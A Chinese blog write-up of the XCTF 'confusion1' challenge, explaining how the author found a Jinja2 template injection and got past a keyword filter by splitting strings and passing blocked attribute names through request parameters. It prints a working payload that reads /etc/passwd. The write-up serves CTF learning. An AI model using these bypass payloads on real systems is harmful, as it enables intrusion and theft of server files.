攻防世界----confusion1

本文详细介绍了如何在Python应用中识别SSTI漏洞,并提供了两种绕过方法:直接字符串拼接和参数传递。通过实例演示了如何利用__class__等关键字绕过过滤,适合进阶开发者学习SSTI防范与利用知识。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点1:如何确定存在SSTI注入

知识点2:有些关键字被禁了,如何绕过

一.如何确定存在SSTI

 

 根据网站图片和题目描述的提示,大象是php,蟒蛇是python,说明了这个网站是用python写的

在python中,比较常规的漏洞就是SSTI模板注入

尝试验证漏洞

 

很明显,是存在漏洞的 

同时,也存在过滤关键字段 

二.SSTI绕过

参考链接:

SSTI模板注入绕过(进阶篇)_yu22x的博客-优快云博客_ssti绕过

SSTI模板注入及绕过姿势(基于Python-Jinja2)_Y4tacker的博客-优快云博客_ssti绕过

经过一系列参数的提交,发现过滤了这些字段

class,mro,subclasses

方法1

通过拼接字符串即

.__class__ -> ["__c""lass__"]
.->[]     __class__ -> "__c""lass__"

需要注意的是,代表函数的()需要放在[]外面 

方法2

通过传递参数绕过

GET方式

{{''.__class__}} => {{''[request.args.t1]}}?t1=__class__

 

POST方式:需要分成两步走

{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

接着给这个页面发一个post的请求包

class=__class__&mro=__mro__&subclasses=__subclasses__

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值